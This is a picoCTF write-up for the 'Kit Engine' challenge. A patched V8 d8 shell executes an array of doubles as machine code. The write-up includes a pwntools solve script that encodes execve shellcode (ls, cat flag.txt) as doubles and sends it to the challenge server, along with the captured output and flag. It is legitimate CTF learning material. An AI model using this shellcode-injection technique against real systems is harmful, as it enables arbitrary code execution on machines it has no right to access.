Start your engines!! d8 source.tar.gz server.py Connect at mercury.picoctf.net 11433

Overview

Executing the binary d8 we’re given a shelly thing.

❯ ./d8
V8 version 9.1.0 (candidate)
d8>

It turns out to be the developer shell of Google’s V8 JavaScript engine. It

is useful for running some JavaScript locally or debugging changes you have made to V8.

Also there’s a patch file with some modifications to the code. So this challenge is actually a modified version of the original d8. The most interesting part of patch is AssembleEngine.

void Shell::AssembleEngine(const v8::FunctionCallbackInfo<v8::Value>& args) {
  Isolate* isolate = args.GetIsolate();
  if(args.Length() != 1) {
    return;
  }

  double *func = (double *)mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (func == (double *)-1) {
    printf("Unable to allocate memory. Contact admin\n");
    return;
  }

  if (args[0]->IsArray()) {
    Local<Array> arr = args[0].As<Array>();

    Local<Value> element;
    for (uint32_t i = 0; i < arr->Length(); i++) {
      if (arr->Get(isolate->GetCurrentContext(), i).ToLocal(&element) && element->IsNumber()) {
        Local<Number> val = element.As<Number>();
        func[i] = val->Value();
      }
    }

    printf("Memory Dump. Watch your endianness!!:\n");
    for (uint32_t i = 0; i < arr->Length(); i++) {
      printf("%d: float %f hex %lx\n", i, func[i], doubleToUint64_t(func[i]));
    }

    printf("Starting your engine!!\n");
    void (*foo)() = (void(*)())func;
    foo();
  }
  printf("Done\n");
}

The AssembleEngine will execute shellcode in double[] format.

Attack

The attack plan is simple, either spawn a shell or call ls then cat. Spawning a shell is not possible because we only see the result of execution.

#!/usr/bin/env python3 

# With credit/inspiration to the v8 problem in downUnder CTF 2020

import os
import subprocess
import sys
import tempfile

def p(a):
    print(a, flush=True)

MAX_SIZE = 20000
input_size = int(input("Provide size. Must be < 5k:"))
if input_size >= MAX_SIZE:
    p(f"Received size of {input_size}, which is too big")
    sys.exit(-1)
p(f"Provide script please!!")
script_contents = sys.stdin.read(input_size)
p(script_contents)
# Don't buffer
with tempfile.NamedTemporaryFile(buffering=0) as f:
    f.write(script_contents.encode("utf-8"))
    p("File written. Running. Timeout is 20s")
    res = subprocess.run(["./d8", f.name], timeout=20, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    p("Run Complete")
    p(f"Stdout {res.stdout}")
    p(f"Stderr {res.stderr}")

Here we’re using the go-to tool shellcraft from pwntool to create shellcode for us. All we have to do is convert the shellcode to double[] format.

from pwn import *
import struct

context.arch = 'amd64'

ls = asm(shellcraft.execve(b"/bin/ls", ["ls"]))
cat = asm(shellcraft.execve(b"/bin/cat", ["cat", "flag.txt"]))

def convert_to_double_array(shellcode: bytes) -> list[float]:
  res: list[float] = []
  for i in range(0, len(shellcode), 8):
    block = shellcode[i:i+8]
    if len(block) < 8:
      block = block + b"\0" * (8 - len(block))
    res.append(struct.unpack("<d", block)[0])
  return res

def run(shellcode: list[float]):
  code = f"AssembleEngine([{', '.join(map(str, shellcode))}])"
  p = remote("mercury.picoctf.net", 11433)
  p.sendlineafter(b"Provide size", str(len(code)))
  p.sendlineafter(b"Provide script", code)
  print(p.recvall().decode())

run(convert_to_double_array(ls))
run(convert_to_double_array(cat))
❯ python3 ./solve.py
[+] Opening connection to mercury.picoctf.net on port 11433: Done
/home/nick/coding/ctf/pwn/kit-engine/./solve.py:54: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendlineafter(b"Provide size", str(len(code)))
/home/nick/coding/ctf/pwn/kit-engine/./solve.py:55: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendlineafter(b"Provide script", code)
[+] Receiving all data: Done (344B)
[*] Closed connection to mercury.picoctf.net port 11433
 please!!
AssembleEngine([7.748604185565308e-304, 7.001521162788231e+194, 1.773290430551938e-288, 1.0748503232447379e-301, 7.748605141607601e-304, 1.776650735790609e-302, 3.6509617888350745e+206, 4.1942076e-316])
File written. Running. Timeout is 20s
Run Complete
Stdout b'd8\nflag.txt\nserver.py\nsource.tar.gz\nxinet_startup.sh\n'
Stderr b''

[+] Opening connection to mercury.picoctf.net on port 11433: Done
[+] Receiving all data: Done (372B)
[*] Closed connection to mercury.picoctf.net port 11433
 please!!
AssembleEngine([8.191473375206089e-79, 3.775826202043335e+79, 1.1205295651588473e+253, 7.748604185565308e-304, 2.460307022775963e+257, 1.7734484618746183e-288, 4.089989556334856e+40, 1.7766596360849696e-302, 3.6509617888350745e+206, 4.1942076e-316])
File written. Running. Timeout is 20s
Run Complete
Stdout b'picoCTF{vr00m_vr00m_943e7e61a1bb0159}\n'
Stderr b''

Reference